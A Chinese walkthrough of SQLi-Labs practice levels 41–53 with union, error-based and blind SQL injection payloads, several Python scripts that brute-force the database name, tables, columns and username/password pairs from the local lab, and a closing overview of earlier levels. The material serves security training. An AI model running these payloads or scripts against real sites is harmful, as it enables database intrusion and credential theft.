sqli.labs靶场(41-53关)

41、第四十一关

-1 union select 1,2,3--+

-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+

-1 union select 1,2,(select group_concat(username,'~',password) from security.users)--+

42、第四十二关

这关login_password是单引号闭合,可用布尔盲注

123'+or+1=1--+ 

上脚本爆库:

import string

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-42/login.php"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})
            if len(res.text) == 1580:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user" : "admin", "login_password": f"123' or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password":  f"123' or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

43、第四十三关

这关是POST请求,login_password参数单引号加括号闭合

POC:111')--+,有报错信息,可以用报错注入

111')+and+extractvalue(1,concat(0x7e,database(),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+

111')+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users),0x7e))--+

44、第四十四关

POST请求,login_password参数单引号闭合

可以用布尔盲注,POC:123'+or+lenth(database())=1--+

这个脚本注入比较方便

import string

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-44/login.php"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})
            if len(res.text) == 1580:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user" : "admin", "login_password": f"123' or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123' or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password":  f"123' or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

45、第四十五关

这关是login_password参数单引号加括号闭合

可以使用布尔盲注POC:123')+or+substr(database(),1,1)='a'--+

脚本爆库

import string

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-45/login.php"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123') or substr(database(),{p},1)='{a}'#", "mysubmit": "Login"})
            if len(res.text) == 1580:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user" : "admin", "login_password": f"123') or substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password": f"123') or substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            res = requests.post(url, {"login_user": "admin", "login_password":  f"123') or substr((select group_concat(username,':',password) from users),{p},1)='{a}'#", "passwd": "admin", "mysubmit": "Login"})
            if len(res.content) == 1580:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

46、第四十六关

参数是sort

4+and+extractvalue(1,concat(0x7e,database()))

4+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

4+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ))

47、第四十七关

sort=1

sort=2

sort=3

sort=4

应该是报错了,一共三个字段,不显示错误可以用时间盲注

48、第四十八关

和上一关差不多,这关单引号闭合

还是要时间盲注

脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-48/?sort=1%20"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)"
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

49、第四十九关

和48关差不多,也是时间盲注,需要单引号闭合

上脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-49/?sort=1%27%20"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)--+"
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

50、第五十关

有报错信息,试一下报错注入

sort=10+and+extractvalue(1,concat(0x7e,database()))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))

sort=10+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))

51、第五十一关

有报错信息,还得报错注入,单引号闭合

sort=3'+and+extractvalue(1,concat(0x7e,database()))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

sort=3'+and+extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users)))--+

52、第五十二关

没有报错信息,得用盲注,时间盲注

上脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-52/?sort=1%20"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(1)--+"
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(1)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 13:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

53、第五十三关

单引号闭合,没有报错,还得是盲注

上脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-53/?sort=22%27%20"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and%20substr(database(),{p},1)=%27{a}%27%20and%20sleep(0.5)--+"
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 5:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)='{a}'%20and%20sleep(0.5)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 5:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='{database}'),{p},1)='{a}'%20and%20sleep(0.5)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 5:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=%27{a}%27%20and%20sleep(0.5)--+"
            num += 1
            stime = time()  # 记录开始时间
            res = requests.get(url_db)
            etime = time()  # 记录结束时间
            if etime - stime > 5:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

### SQL注入实验平台SQLi-Labs第1至65解题思路 #### 实验环境搭建 为了顺利进行SQLi-Labs的学习,需先下载并安装好该实验平台。通常情况下,在Web应用安全测试环境中部署PHP和MySQL服务即可运行此项目。 #### 第一阶段:基础SQL注入练习(Less-1 到 Less-8) 对于早期的基础题目,主要目的是让学习者熟悉如何通过URL参数中的`id`字段来执行简单的布尔型盲注攻击以及基于错误消息返回的数据泄露漏洞利用方法[^1]。 例如,在第一中提到的payload `?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(10),1)--+` 就是用来探测当前使用的数据库名称的第一个字符是否大于字母'm' 的 ASCII 值;如果条件成立,则触发延迟响应以确认猜测正确性。 #### 第二阶段:Union Select 注入技巧(Less-9 至 Less-17) 这一系列挑战侧重于掌握使用UNION SELECT语句组合多个查询结果集的能力。这允许攻击者从其他表甚至不同模式下的数据源提取敏感信息。像这样构造请求可以用来找出页面上显示的内容对应着哪几列被选出来展示给用户:`http://example.com/vuln.php?id=-1' UNION SELECT 1,2,3--` [^3]. #### 中级难度提升(Less-18 至 Less-34) 随着级别的升高,会遇到更多复杂的场景,比如时间延迋试探法、堆叠查询等高级技术的应用。这些技能有助于绕过某些防护措施或者当直接反馈机制不可用时仍能完成渗透操作。 #### 高阶挑战(Less-35 及以上) 最后几个级别涉及到了更深层次的知识点,如子查询嵌套、正则表达式匹配等功能强大的特性。同时也会引入一些防御手段作为障碍,促使玩家思考对策。 #### 特殊案例分析(Less-6 类似情况) 特定条件下可采用非常规手法解决问题,例如第四条参考资料里给出的例子展示了怎样借助XML解析器函数extractvalue()实现带外通道的信息窃取:`http://localhost/lab/Less-6/?id=1" AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='target_db'),0x7e))--+` [^4]. 这种方式能够有效规避传统过滤规则的影响。 ```sql -- Example of a payload using extractvalue to retrieve table names. AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema = 'database_name'), 0x7e)) ```
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